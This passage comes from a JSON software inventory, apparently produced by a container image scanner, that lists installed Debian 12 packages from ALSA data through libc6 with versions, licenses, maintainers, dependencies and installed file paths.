"/usr/share/alsa/cards/CMI8788.conf", "/usr/share/alsa/cards/CS46xx.conf", "/usr/share/alsa/cards/EMU10K1.conf", "/usr/share/alsa/cards/EMU10K1X.conf", "/usr/share/alsa/cards/ENS1370.conf", "/usr/share/alsa/cards/ENS1371.conf", "/usr/share/alsa/cards/ES1968.conf", "/usr/share/alsa/cards/Echo_Echo3G.conf", "/usr/share/alsa/cards/FM801.conf", "/usr/share/alsa/cards/FWSpeakers.conf", "/usr/share/alsa/cards/FireWave.conf", "/usr/share/alsa/cards/GUS.conf", "/usr/share/alsa/cards/HDA-Intel.conf", "/usr/share/alsa/cards/HdmiLpeAudio.conf", "/usr/share/alsa/cards/ICE1712.conf", "/usr/share/alsa/cards/ICE1724.conf", "/usr/share/alsa/cards/ICH-MODEM.conf", "/usr/share/alsa/cards/ICH.conf", "/usr/share/alsa/cards/ICH4.conf", "/usr/share/alsa/cards/Loopback.conf", "/usr/share/alsa/cards/Maestro3.conf", "/usr/share/alsa/cards/NFORCE.conf", "/usr/share/alsa/cards/PC-Speaker.conf", "/usr/share/alsa/cards/PMac.conf", "/usr/share/alsa/cards/PMacToonie.conf", "/usr/share/alsa/cards/PS3.conf", "/usr/share/alsa/cards/RME9636.conf", "/usr/share/alsa/cards/RME9652.conf", "/usr/share/alsa/cards/SB-XFi.conf", "/usr/share/alsa/cards/SI7018.conf", "/usr/share/alsa/cards/TRID4DWAVENX.conf", "/usr/share/alsa/cards/USB-Audio.conf", "/usr/share/alsa/cards/VIA686A.conf", "/usr/share/alsa/cards/VIA8233.conf", "/usr/share/alsa/cards/VIA8233A.conf", "/usr/share/alsa/cards/VIA8237.conf", "/usr/share/alsa/cards/VX222.conf", "/usr/share/alsa/cards/VXPocket.conf", "/usr/share/alsa/cards/VXPocket440.conf", "/usr/share/alsa/cards/YMF744.conf", "/usr/share/alsa/cards/aliases.conf", "/usr/share/alsa/cards/pistachio-card.conf", "/usr/share/alsa/cards/vc4-hdmi.conf", "/usr/share/alsa/ctl/default.conf", "/usr/share/alsa/pcm/center_lfe.conf", "/usr/share/alsa/pcm/default.conf", "/usr/share/alsa/pcm/dmix.conf", "/usr/share/alsa/pcm/dpl.conf", "/usr/share/alsa/pcm/dsnoop.conf", "/usr/share/alsa/pcm/front.conf", "/usr/share/alsa/pcm/hdmi.conf", "/usr/share/alsa/pcm/iec958.conf", "/usr/share/alsa/pcm/modem.conf", "/usr/share/alsa/pcm/rear.conf", "/usr/share/alsa/pcm/side.conf", "/usr/share/alsa/pcm/surround21.conf", "/usr/share/alsa/pcm/surround40.conf", "/usr/share/alsa/pcm/surround41.conf", "/usr/share/alsa/pcm/surround50.conf", "/usr/share/alsa/pcm/surround51.conf", "/usr/share/alsa/pcm/surround71.conf", "/usr/share/doc/libasound2-data/changelog.Debian.gz", "/usr/share/doc/libasound2-data/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libatk-bridge2.0-0@2.46.0-5", "Name": "libatk-bridge2.0-0", "Identifier": { "PURL": "pkg:deb/debian/libatk-bridge2.0-0@2.46.0-5?arch=amd64\u0026distro=debian-12.13", "UID": "bd8b493be08b030c" }, "Version": "2.46.0", "Release": "5", "Arch": "amd64", "SrcName": "at-spi2-core", "SrcVersion": "2.46.0", "SrcRelease": "5", "Licenses": [ "LGPL-2.0-or-later", "LGPL-2.1-or-later", "AFL-2.1", "GPL-2.0-or-later", "GPL-2.0-only", "public-domain", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian Accessibility Team \u003cpkg-a11y-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libatk1.0-0@2.46.0-5", "libatspi2.0-0@2.46.0-5", "libc6@2.36-9+deb12u13", "libdbus-1-3@1.14.10-1~deb12u1", "libglib2.0-0@2.74.6-2+deb12u8" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libatk-bridge-2.0.so.0.0.0", "/usr/share/doc/libatk-bridge2.0-0/changelog.Debian.gz", "/usr/share/doc/libatk-bridge2.0-0/copyright", "/usr/share/lintian/overrides/libatk-bridge2.0-0" ], "AnalyzedBy": "dpkg" }, { "ID": "libatk1.0-0@2.46.0-5", "Name": "libatk1.0-0", "Identifier": { "PURL": "pkg:deb/debian/libatk1.0-0@2.46.0-5?arch=amd64\u0026distro=debian-12.13", "UID": "1f6e543b744f296c" }, "Version": "2.46.0", "Release": "5", "Arch": "amd64", "SrcName": "at-spi2-core", "SrcVersion": "2.46.0", "SrcRelease": "5", "Licenses": [ "LGPL-2.0-or-later", "LGPL-2.1-or-later", "AFL-2.1", "GPL-2.0-or-later", "GPL-2.0-only", "public-domain", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian Accessibility Team \u003cpkg-a11y-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "at-spi2-common@2.46.0-5", "libc6@2.36-9+deb12u13", "libglib2.0-0@2.74.6-2+deb12u8" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libatk-1.0.so.0.24609.1", "/usr/share/doc/libatk1.0-0/changelog.Debian.gz", "/usr/share/doc/libatk1.0-0/copyright", "/usr/share/lintian/overrides/libatk1.0-0" ], "AnalyzedBy": "dpkg" }, { "ID": "libatomic1@12.2.0-14+deb12u1", "Name": "libatomic1", "Identifier": { "PURL": "pkg:deb/debian/libatomic1@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "26b148cf9015084e" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libatomic.so.1.2.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libatspi2.0-0@2.46.0-5", "Name": "libatspi2.0-0", "Identifier": { "PURL": "pkg:deb/debian/libatspi2.0-0@2.46.0-5?arch=amd64\u0026distro=debian-12.13", "UID": "ee84fedb6135d31e" }, "Version": "2.46.0", "Release": "5", "Arch": "amd64", "SrcName": "at-spi2-core", "SrcVersion": "2.46.0", "SrcRelease": "5", "Licenses": [ "LGPL-2.0-or-later", "LGPL-2.1-or-later", "AFL-2.1", "GPL-2.0-or-later", "GPL-2.0-only", "public-domain", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian Accessibility Team \u003cpkg-a11y-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdbus-1-3@1.14.10-1~deb12u1", "libglib2.0-0@2.74.6-2+deb12u8", "libx11-6@2:1.8.4-2+deb12u2", "libxi6@2:1.8-1+b1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libatspi.so.0.0.1", "/usr/share/doc/libatspi2.0-0/changelog.Debian.gz", "/usr/share/doc/libatspi2.0-0/copyright", "/usr/share/lintian/overrides/libatspi2.0-0" ], "AnalyzedBy": "dpkg" }, { "ID": "libattr1@1:2.5.1-4", "Name": "libattr1", "Identifier": { "PURL": "pkg:deb/debian/libattr1@2.5.1-4?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "b65f6793a5b70adc" }, "Version": "2.5.1", "Release": "4", "Epoch": 1, "Arch": "amd64", "SrcName": "attr", "SrcVersion": "2.5.1", "SrcRelease": "4", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.0-or-later", "LGPL-2.1-only" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libattr.so.1.1.2501", "/usr/share/doc/libattr1/changelog.Debian.gz", "/usr/share/doc/libattr1/changelog.gz", "/usr/share/doc/libattr1/copyright", "/usr/share/lintian/overrides/libattr1" ], "AnalyzedBy": "dpkg" }, { "ID": "libaudit-common@1:3.0.9-1", "Name": "libaudit-common", "Identifier": { "PURL": "pkg:deb/debian/libaudit-common@3.0.9-1?arch=all\u0026distro=debian-12.13\u0026epoch=1", "UID": "501d3bae9dbba871" }, "Version": "3.0.9", "Release": "1", "Epoch": 1, "Arch": "all", "SrcName": "audit", "SrcVersion": "3.0.9", "SrcRelease": "1", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-only", "LGPL-2.1-only", "GPL-1.0-only" ], "Maintainer": "Laurent Bigonville \u003cbigon@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/share/doc/libaudit-common/changelog.Debian.gz", "/usr/share/doc/libaudit-common/changelog.gz", "/usr/share/doc/libaudit-common/copyright", "/usr/share/man/man5/libaudit.conf.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libaudit1@1:3.0.9-1", "Name": "libaudit1", "Identifier": { "PURL": "pkg:deb/debian/libaudit1@3.0.9-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "3bf2adec68b6c460" }, "Version": "3.0.9", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "audit", "SrcVersion": "3.0.9", "SrcRelease": "1", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-only", "LGPL-2.1-only", "GPL-1.0-only" ], "Maintainer": "Laurent Bigonville \u003cbigon@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit-common@1:3.0.9-1", "libc6@2.36-9+deb12u13", "libcap-ng0@0.8.3-1+b3" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libaudit.so.1.0.0", "/usr/share/doc/libaudit1/changelog.Debian.gz", "/usr/share/doc/libaudit1/changelog.gz", "/usr/share/doc/libaudit1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libavahi-client3@0.8-10+deb12u1", "Name": "libavahi-client3", "Identifier": { "PURL": "pkg:deb/debian/libavahi-client3@0.8-10%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "5c59dd4bd53181fc" }, "Version": "0.8", "Release": "10+deb12u1", "Arch": "amd64", "SrcName": "avahi", "SrcVersion": "0.8", "SrcRelease": "10+deb12u1", "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only", "GPL-2.0-or-later" ], "Maintainer": "Utopia Maintenance Team \u003cpkg-utopia-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libavahi-common3@0.8-10+deb12u1", "libc6@2.36-9+deb12u13", "libdbus-1-3@1.14.10-1~deb12u1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libavahi-client.so.3.2.9", "/usr/share/doc/libavahi-client3/NEWS.gz", "/usr/share/doc/libavahi-client3/README", "/usr/share/doc/libavahi-client3/changelog.Debian.gz", "/usr/share/doc/libavahi-client3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libavahi-common-data@0.8-10+deb12u1", "Name": "libavahi-common-data", "Identifier": { "PURL": "pkg:deb/debian/libavahi-common-data@0.8-10%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "c77442330eafe931" }, "Version": "0.8", "Release": "10+deb12u1", "Arch": "amd64", "SrcName": "avahi", "SrcVersion": "0.8", "SrcRelease": "10+deb12u1", "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only", "GPL-2.0-or-later" ], "Maintainer": "Utopia Maintenance Team \u003cpkg-utopia-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/avahi/service-types.db", "/usr/share/doc/libavahi-common-data/NEWS.gz", "/usr/share/doc/libavahi-common-data/README", "/usr/share/doc/libavahi-common-data/changelog.Debian.gz", "/usr/share/doc/libavahi-common-data/copyright", "/usr/share/locale/ach/LC_MESSAGES/avahi.mo", "/usr/share/locale/ar/LC_MESSAGES/avahi.mo", "/usr/share/locale/bg/LC_MESSAGES/avahi.mo", "/usr/share/locale/ca/LC_MESSAGES/avahi.mo", "/usr/share/locale/cs/LC_MESSAGES/avahi.mo", "/usr/share/locale/da/LC_MESSAGES/avahi.mo", "/usr/share/locale/de/LC_MESSAGES/avahi.mo", "/usr/share/locale/el/LC_MESSAGES/avahi.mo", "/usr/share/locale/en_AU/LC_MESSAGES/avahi.mo", "/usr/share/locale/en_CA/LC_MESSAGES/avahi.mo", "/usr/share/locale/en_GB/LC_MESSAGES/avahi.mo", "/usr/share/locale/en_NZ/LC_MESSAGES/avahi.mo", "/usr/share/locale/eo/LC_MESSAGES/avahi.mo", "/usr/share/locale/es/LC_MESSAGES/avahi.mo", "/usr/share/locale/et/LC_MESSAGES/avahi.mo", "/usr/share/locale/fa/LC_MESSAGES/avahi.mo", "/usr/share/locale/fi/LC_MESSAGES/avahi.mo", "/usr/share/locale/fo/LC_MESSAGES/avahi.mo", "/usr/share/locale/fr/LC_MESSAGES/avahi.mo", "/usr/share/locale/gl/LC_MESSAGES/avahi.mo", "/usr/share/locale/he/LC_MESSAGES/avahi.mo", "/usr/share/locale/hu/LC_MESSAGES/avahi.mo", "/usr/share/locale/id/LC_MESSAGES/avahi.mo", "/usr/share/locale/it/LC_MESSAGES/avahi.mo", "/usr/share/locale/ja/LC_MESSAGES/avahi.mo", "/usr/share/locale/ko/LC_MESSAGES/avahi.mo", "/usr/share/locale/lv/LC_MESSAGES/avahi.mo", "/usr/share/locale/ms/LC_MESSAGES/avahi.mo", "/usr/share/locale/nl/LC_MESSAGES/avahi.mo", "/usr/share/locale/oc/LC_MESSAGES/avahi.mo", "/usr/share/locale/pl/LC_MESSAGES/avahi.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/avahi.mo", "/usr/share/locale/ro/LC_MESSAGES/avahi.mo", "/usr/share/locale/ru/LC_MESSAGES/avahi.mo", "/usr/share/locale/sk/LC_MESSAGES/avahi.mo", "/usr/share/locale/sl/LC_MESSAGES/avahi.mo", "/usr/share/locale/sr/LC_MESSAGES/avahi.mo", "/usr/share/locale/sr@latin/LC_MESSAGES/avahi.mo", "/usr/share/locale/sv/LC_MESSAGES/avahi.mo", "/usr/share/locale/tr/LC_MESSAGES/avahi.mo", "/usr/share/locale/uk/LC_MESSAGES/avahi.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/avahi.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/avahi.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "libavahi-common3@0.8-10+deb12u1", "Name": "libavahi-common3", "Identifier": { "PURL": "pkg:deb/debian/libavahi-common3@0.8-10%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "648d4241d470d5e6" }, "Version": "0.8", "Release": "10+deb12u1", "Arch": "amd64", "SrcName": "avahi", "SrcVersion": "0.8", "SrcRelease": "10+deb12u1", "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only", "GPL-2.0-or-later" ], "Maintainer": "Utopia Maintenance Team \u003cpkg-utopia-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libavahi-common-data@0.8-10+deb12u1", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libavahi-common.so.3.5.4", "/usr/share/doc/libavahi-common3/NEWS.gz", "/usr/share/doc/libavahi-common3/README", "/usr/share/doc/libavahi-common3/changelog.Debian.gz", "/usr/share/doc/libavahi-common3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libbinutils@2.40-2", "Name": "libbinutils", "Identifier": { "PURL": "pkg:deb/debian/libbinutils@2.40-2?arch=amd64\u0026distro=debian-12.13", "UID": "6857cee580f19e15" }, "Version": "2.40", "Release": "2", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.40", "SrcRelease": "2", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-common@2.40-2", "libc6@2.36-9+deb12u13", "libzstd1@1.5.4+dfsg2-5", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libbfd-2.40-system.so", "/usr/lib/x86_64-linux-gnu/libopcodes-2.40-system.so", "/usr/lib/x86_64-linux-gnu/libsframe.so.0.0.0", "/usr/share/lintian/overrides/libbinutils" ], "AnalyzedBy": "dpkg" }, { "ID": "libblkid1@2.38.1-5+deb12u3", "Name": "libblkid1", "Identifier": { "PURL": "pkg:deb/debian/libblkid1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "916d1d4dfc61b306" }, "Version": "2.38.1", "Release": "5+deb12u3", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.38.1", "SrcRelease": "5+deb12u3", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "public-domain", "BSD-4-Clause", "MIT", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "LGPL-2.1-or-later", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "util-linux packagers \u003cutil-linux@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libblkid.so.1.1.0", "/usr/share/doc/libblkid1/changelog.Debian.gz", "/usr/share/doc/libblkid1/changelog.gz", "/usr/share/doc/libblkid1/copyright", "/usr/share/lintian/overrides/libblkid1" ], "AnalyzedBy": "dpkg" }, { "ID": "libbrotli1@1.0.9-2+b6", "Name": "libbrotli1", "Identifier": { "PURL": "pkg:deb/debian/libbrotli1@1.0.9-2%2Bb6?arch=amd64\u0026distro=debian-12.13", "UID": "b194dd52d1cf3e8c" }, "Version": "1.0.9", "Release": "2+b6", "Arch": "amd64", "SrcName": "brotli", "SrcVersion": "1.0.9", "SrcRelease": "2", "Licenses": [ "MIT" ], "Maintainer": "Tomasz Buchert \u003ctomasz@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libbrotlicommon.so.1.0.9", "/usr/lib/x86_64-linux-gnu/libbrotlidec.so.1.0.9", "/usr/lib/x86_64-linux-gnu/libbrotlienc.so.1.0.9", "/usr/share/doc/libbrotli1/changelog.Debian.amd64.gz", "/usr/share/doc/libbrotli1/changelog.Debian.gz", "/usr/share/doc/libbrotli1/copyright", "/usr/share/lintian/overrides/libbrotli1" ], "AnalyzedBy": "dpkg" }, { "ID": "libbsd0@0.11.7-2", "Name": "libbsd0", "Identifier": { "PURL": "pkg:deb/debian/libbsd0@0.11.7-2?arch=amd64\u0026distro=debian-12.13", "UID": "83feb7210046b3b2" }, "Version": "0.11.7", "Release": "2", "Arch": "amd64", "SrcName": "libbsd", "SrcVersion": "0.11.7", "SrcRelease": "2", "Licenses": [ "BSD-3-Clause", "BSD-4-clause-Niels-Provos", "BSD-3-clause-Regents", "BSD-2-Clause-NetBSD", "BSD-3-clause-author", "BSD-3-clause-John-Birrell", "libutil-David-Nugent", "BSD-2-Clause", "BSD-2-clause-verbatim", "BSD-2-clause-author", "ISC", "ISC-Original", "MIT", "public-domain", "Beerware" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libmd0@1.0.4-2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libbsd.so.0.11.7", "/usr/share/doc/libbsd0/changelog.Debian.gz", "/usr/share/doc/libbsd0/changelog.gz", "/usr/share/doc/libbsd0/copyright", "/usr/share/lintian/overrides/libbsd0" ], "AnalyzedBy": "dpkg" }, { "ID": "libbz2-1.0@1.0.8-5+b1", "Name": "libbz2-1.0", "Identifier": { "PURL": "pkg:deb/debian/libbz2-1.0@1.0.8-5%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "d65ca59af3acb9db" }, "Version": "1.0.8", "Release": "5+b1", "Arch": "amd64", "SrcName": "bzip2", "SrcVersion": "1.0.8", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only" ], "Maintainer": "Anibal Monsalve Salazar \u003canibal@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libbz2.so.1.0.4", "/usr/share/doc/libbz2-1.0/changelog.Debian.amd64.gz", "/usr/share/doc/libbz2-1.0/changelog.Debian.gz", "/usr/share/doc/libbz2-1.0/changelog.gz", "/usr/share/doc/libbz2-1.0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libc-bin@2.36-9+deb12u13", "Name": "libc-bin", "Identifier": { "PURL": "pkg:deb/debian/libc-bin@2.36-9%2Bdeb12u13?arch=amd64\u0026distro=debian-12.13", "UID": "47160d7f870a4daa" }, "Version": "2.36", "Release": "9+deb12u13", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.36", "SrcRelease": "9+deb12u13", "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/sbin/ldconfig", "/usr/bin/getconf", "/usr/bin/getent", "/usr/bin/iconv", "/usr/bin/ldd", "/usr/bin/locale", "/usr/bin/localedef", "/usr/bin/pldd", "/usr/bin/tzselect", "/usr/bin/zdump", "/usr/lib/locale/C.utf8/LC_ADDRESS", "/usr/lib/locale/C.utf8/LC_COLLATE", "/usr/lib/locale/C.utf8/LC_CTYPE", "/usr/lib/locale/C.utf8/LC_IDENTIFICATION", "/usr/lib/locale/C.utf8/LC_MEASUREMENT", "/usr/lib/locale/C.utf8/LC_MESSAGES/SYS_LC_MESSAGES", "/usr/lib/locale/C.utf8/LC_MONETARY", "/usr/lib/locale/C.utf8/LC_NAME", "/usr/lib/locale/C.utf8/LC_NUMERIC", "/usr/lib/locale/C.utf8/LC_PAPER", "/usr/lib/locale/C.utf8/LC_TELEPHONE", "/usr/lib/locale/C.utf8/LC_TIME", "/usr/sbin/iconvconfig", "/usr/sbin/zic", "/usr/share/doc/libc-bin/changelog.Debian.gz", "/usr/share/doc/libc-bin/changelog.gz", "/usr/share/doc/libc-bin/copyright", "/usr/share/libc-bin/nsswitch.conf", "/usr/share/lintian/overrides/libc-bin", "/usr/share/man/man1/getconf.1.gz", "/usr/share/man/man1/tzselect.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libc-dev-bin@2.36-9+deb12u13", "Name": "libc-dev-bin", "Identifier": { "PURL": "pkg:deb/debian/libc-dev-bin@2.36-9%2Bdeb12u13?arch=amd64\u0026distro=debian-12.13", "UID": "fe72db2ea4f0a56d" }, "Version": "2.36", "Release": "9+deb12u13", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.36", "SrcRelease": "9+deb12u13", "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/gencat", "/usr/share/doc/libc-dev-bin/changelog.Debian.gz", "/usr/share/doc/libc-dev-bin/changelog.gz", "/usr/share/doc/libc-dev-bin/copyright", "/usr/share/man/man1/gencat.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libc6@2.36-9+deb12u13", "Name": "libc6", "Identifier": { "PURL": "pkg:deb/debian/libc6@2.36-9%2Bdeb12u13?arch=amd64\u0026distro=debian-12.13", "UID": "81809dfdfba37488" }, "Version": "2.36", "Release": "9+deb12u13", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.36", "SrcRelease": "9+deb12u13", "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libgcc-s1@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/lib/x86_64-linux-gnu/libBrokenLocale.so.1", "/lib/x86_64-linux-gnu/libanl.so.1", "/lib/x86_64-linux-gnu/libc.so.6", "/lib/x86_64-linux-gnu/libc_malloc_debug.so.0", "/lib/x86_64-linux-gnu/libdl.so.2", "/lib/x86_64-linux-gnu/libm.so.6", "/lib/x86_64-linux-gnu/libmemusage.so", "/lib/x86_64-linux-gnu/libmvec.so.1", "/lib/x86_64-linux-gnu/libnsl.so.1", "/lib/x86_64-linux-gnu/libnss_compat.so.2", "/lib/x86_64-linux-gnu/libnss_dns.so.2", "/lib/x86_64-linux-gnu/libnss_files.so.2", "/lib/x86_64-linux-gnu/libnss_hesiod.so.2", "/lib/x86_64-linux-gnu/libpcprofile.so", "/lib/x86_64-linux-gnu/libpthread.so.0", "/lib/x86_64-linux-gnu/libresolv.so.2", "/lib/x86_64-linux-gnu/librt.so.1", "/lib/x86_64-linux-gnu/libthread_db.so.1", "/lib/x86_64-linux-gnu/libutil.so.1", "/usr/lib/x86_64-linux-gnu/gconv/ANSI_X3.110.so", "/usr/lib/x86_64-linux-gnu/gconv/ARMSCII-8.so", "/usr/lib/x86_64-linux-gnu/gconv/ASMO_449.so", "/usr/lib/x86_64-linux-gnu/gconv/BIG5.so", "/usr/lib/x86_64-linux-gnu/gconv/BIG5HKSCS.so", "/usr/lib/x86_64-linux-gnu/gconv/BRF.so", "/usr/lib/x86_64-linux-gnu/gconv/CP10007.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1125.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1250.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1251.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1252.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1253.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1254.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1255.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1256.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1257.so", "/usr/lib/x86_64-linux-gnu/gconv/CP1258.so", "/usr/lib/x86_64-linux-gnu/gconv/CP737.so", "/usr/lib/x86_64-linux-gnu/gconv/CP770.so", "/usr/lib/x86_64-linux-gnu/gconv/CP771.so", "/usr/lib/x86_64-linux-gnu/gconv/CP772.so", "/usr/lib/x86_64-linux-gnu/gconv/CP773.so", "/usr/lib/x86_64-linux-gnu/gconv/CP774.so", "/usr/lib/x86_64-linux-gnu/gconv/CP775.so", "/usr/lib/x86_64-linux-gnu/gconv/CP932.so", "/usr/lib/x86_64-linux-gnu/gconv/CSN_369103.so", "/usr/lib/x86_64-linux-gnu/gconv/CWI.so", "/usr/lib/x86_64-linux-gnu/gconv/DEC-MCS.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-AT-DE-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-AT-DE.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-CA-FR.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-DK-NO-A.so", 